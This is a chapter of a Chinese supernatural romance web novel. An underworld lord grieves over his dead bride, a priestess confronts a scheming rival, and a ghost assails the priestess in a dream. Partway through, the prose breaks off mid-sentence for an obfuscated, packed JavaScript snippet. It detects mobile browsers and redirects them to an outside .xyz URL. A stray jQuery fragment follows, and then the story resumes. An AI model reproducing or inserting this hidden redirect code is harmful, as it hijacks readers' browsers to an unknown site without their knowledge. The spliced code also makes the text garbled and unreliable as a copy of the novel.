冥界,离恨城。
沐灵正批改公文,有人来报。
“君上,有您的信件和东西,从忘川上游来的。”
(叮~阴风快递提醒您,您的快递已送达,阴风快递送啥都快!)
沐灵搁下笔道:“何人所寄?”
那阴差道:“回君上,一个是槐荫人士,叫钟诗琼,另一个叫宫玄烛,帝都的少祭司。”
沐灵压根没听说过这两个名字,以为是鬼差弄错了,刚摆摆手想让他下去,转念又一想,把东西留下了,一打开是一件美轮美奂的白嫁衣,人间的手艺,巧夺天工。
人间的物品是很珍稀的,有亲人在世的鬼每逢佳节都可以收到子孙后代的供奉,在阴间也算过得滋润,还能收到家书。
可沐灵他,无亲人在世,唯一的儿子也在那场战乱中不知所踪,见到人间的物品不由得麻木许久。
那些记忆其实已经很模糊了,他想起了初升的朝阳,天边金灿灿的霞光,炊烟袅袅,那粗瓷碗里滚烫的米粥究竟是什么味道……冷是什么感觉?热是什么感觉?他不会有食欲,每次到腹中绞痛之时才知道该吃饭了,然而也不过是阴仆将饭菜摆上来,他嗅着飘渺的白烟就算完了。
赌书消得泼茶香,当时只道是寻常。
如今,再怀念也回不去。
“轻尘,你看漂亮吗?是你人间那两个小朋友送的。”
他跟白衣新娘二人躺在白纱曼曼的石床上,他伸手抱住她,看着她眼前白绫下微微渗出的血迹轻叹一声,“你睡着了吗?就是醒着你大概也不会跟我说话的,轻尘,如今我们都已经这样了,就别再去管别人的闲事了吧,万一你再出点什么事,我真的想不出,我该怎么过下去了……”
新娘动了动转过了身,僵硬地抬起手臂,沐灵将脸贴在她手心里,闭上了眼睛:“我没有在怪你,我只是怕了,我怕你……又先我一步,答应我,哪怕以后要魂飞魄散,我们也要在一起。”
“你还记得以前的事吗?不记得了也没关系,我是永远不会忘的。”
新娘没有动,静静保持着之前的姿势。
沐灵没想到槐荫镇一别竟是人间长别,下一次相见居然是在阴世,双双死于非命,白烛磷火,何其悲苍。
他早已不会流泪,见她模样却双眼滴血,怨恨天地不公。想她青春年少,如花美眷,却一载枉断了性命,焉能不心如刀割?
……
宫玄烛回到星辰宫,先将商羊悄悄放回金殿里,还打量尹星灯不知道呢,喜滋滋回了自己的院子,见一黑漆漆的影子坐在廊檐下,有心逗他:“谁家狗蹲这儿了?”
林夕抬眼一瞧,面上竟有些闷闷不乐,但是站了起来请她进屋,宫玄烛倒有些不好意思了。
“姐姐,你这几日都去哪里了?”
“去你老家一趟,但是走得急忘了给你带点土特产。”
林夕一时没反应过来,半晌才惊乍起来:“那姐姐可有受伤?”
宫玄烛在他面前转个圈圈,意思是自己全胳膊全腿,并无大碍,刚坐下林夕就倒了茶递过来,宫玄烛抿了一口深为受用,小伙挺会来事啊,又忍不住逗道:“你说你就这么不明不白跟着我,也不是个了局,不如我收你做徒弟如何?”
林夕这孩子逗起来极容易害羞,今日却并没有,出乎宫玄烛意料之外,安静半晌才道:“姐姐又在开玩笑了,收徒之事岂有不禀报国师的,国师知我身份岂能容我……”
一提起国师宫玄烛差点跳起来,直喊糟糕,一溜烟往陌菱那屋子里跑,却不见她人影,登时吓出一身冷汗,询问了几个守卫才知陌菱醒后尹星灯并没有为难她,想来是林瑶拦住了。
宫玄烛真觉得自己是个操心的命,摇摇头走出门去,想去后山散散心,却又看到一个红衣身影坐在秋千架上,衣袂飘飘、风流袅娜,她背对着宫玄烛,却轻笑道:“这个时候,也只有你会来找我了。”
宫玄烛驻足不前,不知该答些什么,只好问道:“身子可好些了?”
那人正是陌菱,一头乌发随意垂散着,一根红色发带要落不落地勾在发梢,秋千架随着她的动作轻轻晃动,闻言冷笑一声:“好又如何,不好又如何?你也不必劝我,左右我不会感激你,左右我是个没有心的人。”
宫玄烛眼睛微眯,审视着不远处的陌菱,在她身后缓缓踱步,声音极轻却能轻易传入对方耳中。
“阳魂离体,看似冒险实则只要天时地利人和,虽险象环生,但只要布局得当却也可全身而退,槐荫镇荒宅娶亲、妖孽鬼魂作祟,故意拖延我的时间,”
宫玄烛心下烦乱,又叹道:“陌菱,你既然千方百计把林瑶引去了镜花水月之地,怎的又忽然停手了?”
陌菱幽幽叹道:“是国师来的太快了。”
“是吗?”宫玄烛紧追不舍,“还是你没料到,林瑶真的会寻你而来?心甘情愿与你换命?”
“那本是她欠我的。”陌菱的语气波澜不惊,又轻笑道:“你也不必如此激我,你所执的不过是人性本善,可我就是天生的恶人,我身上有你看不到的恶,它们早已融入了我的血液里,回去吧,不要试图拉我走出黑暗,我只会带你一起堕入深渊。”
宫玄烛近前一步:“若我偏要留下呢?”
陌菱幽幽笑道:“阿烛,你真的会为我留下吗?”她轻轻侧过脸,那半张脸美得惊心动魄,没有林瑶的孤标傲世,有的全是风流妩媚,“你可知,那个清明出生的小姑娘,也是我蛊惑的,如果你们不上当,我也可重新借尸还魂,鸠占鹊巢。”
在宫玄烛惊愕的目光中,她自嘲道:“这样,你还想为我留下吗?为我这样的人?”
……
宫玄烛恍恍惚惚,乘着月色回了自己的屋子,脑海里满是陌菱那句话。
人性本恶,是啊,有的人的的确确是恶,可他们往往是缺少教化,不识文断字,难以讲通道理,这是小恶也是最低劣的市井小人做派;次者就是为臣不忠,肚腹之中空有墨水,枉读圣贤书,只为牟取名利横征暴敛鱼肉百姓,此为大奸大恶;再后便是伪君子真小人,嘴甜心苦、笑里藏刀,这种人往往意识不到自己的罪恶,惯将自己放在最高点,以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489943|185807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
万物为刍狗,此谓穷凶极恶。
陌菱的嫉妒就是她心中恶的来源。
为了一个尹星灯当真值得?众叛亲离,声名尽毁,手足相残。
房间的灯亮着,林夕还没有睡,宫玄烛自然也无心睡去,翻了好一阵终于找到了冥事录,从头翻起,细细查看,到底要弄清楚之前遇到的那一干牛鬼蛇神的底细。
林夕在旁边呆了许久,许是无聊,蹭到近前搭话:“敢问姐姐闺名是?”
她给他丢过来一印章。
林夕拾起细看:“真的叫,宫玄烛?”
“一听就是艺名啊,跟我师父那老壁灯一样,像我们这混阴阳两界的哪敢用真名示人,我又不是阎王亲戚。”
林夕还将印章放好,觉得很有必要解释清楚:“你这叫法已经过时了,现在冥界那老大叫冥君。”
宫玄烛:“他就是叫死神那属性也不变。”
林夕还不死心,又往前凑凑:“少祭司,方便告诉我你的真名吗?”
宫玄烛紧盯着他,微微眯起一双含情桃花眸:“小子,你这样让我很慌啊,你怕不是下边派来的奸细吧?”
两人玩笑了一会儿,宫玄烛渐渐觉得眼睛酸涩,脑袋昏沉,只好合书回内室就寝。
且说宫玄烛躺着,觉得脑袋似有千钧重,渐渐支撑不住,迷迷糊糊就感觉房门被风吹开了,有人走了进来,掀开帐帘弯腰俯视着她。
她极力想睁开眼,睡梦中的面容满是挣扎之态,额头、脖颈上满是汗水。
那人凑近她,越靠越紧,而她仿佛整个人陷入了深海之中,全身没有一丝力气,眼皮仿佛被胶水粘起来了似的。
嘴唇被一片冰冷贴上,她极力控制着自己熟睡中的躯体,不知用了多大的力气才侧了头,冰冷的触感便落在了脖颈上,一路向下,身体突然一沉,仿佛被什么压住了,呼吸都有些困难。
她能清晰地感觉到,自己身上的衣服被人一件件地剥离……
她用了死力气,狠狠地咬了一下自己的舌头,血腥味顺着喉管滑下时终于醒了过来,侧目一看,沙漏定格在子时。
她起了一身的汗,急忙摸了一下自己的衣服,都还在……
这叫个什么事?玩了半辈子鹰到头来让家雀叨了眼睛?说出去她宫玄烛真是没脸见人了。
不过到底是什么样的鬼,居然敢如此明目张胆地招惹她?用的手段也着实……下作!
她心神恍惚,刚开门就撞进了林夕怀里,孩子瞪着一双星星眼仿佛被人施了定身法,脸以肉眼可见的速度红了?
宫玄烛下意识地低头看了看自己的穿着,衣服裤子都没落家里啊……脸上一阵凉风拂过,宫玄烛眼眶湿润了,面纱忘记戴了,凹了这么久的神秘感,全没了!
林夕磕磕绊绊道:“少祭司……你醒得好早……可是饿了?我这就去做夜宵……”
宫玄烛没心吃什么夜宵,脑海中全是缠绵悱恻的梦境,但她分得清楚,这绝对不是自己走火入魔、道心紊乱,而是有邪祟侵扰之故,思索再三连忙整理仪容去敲了尹星灯的房门。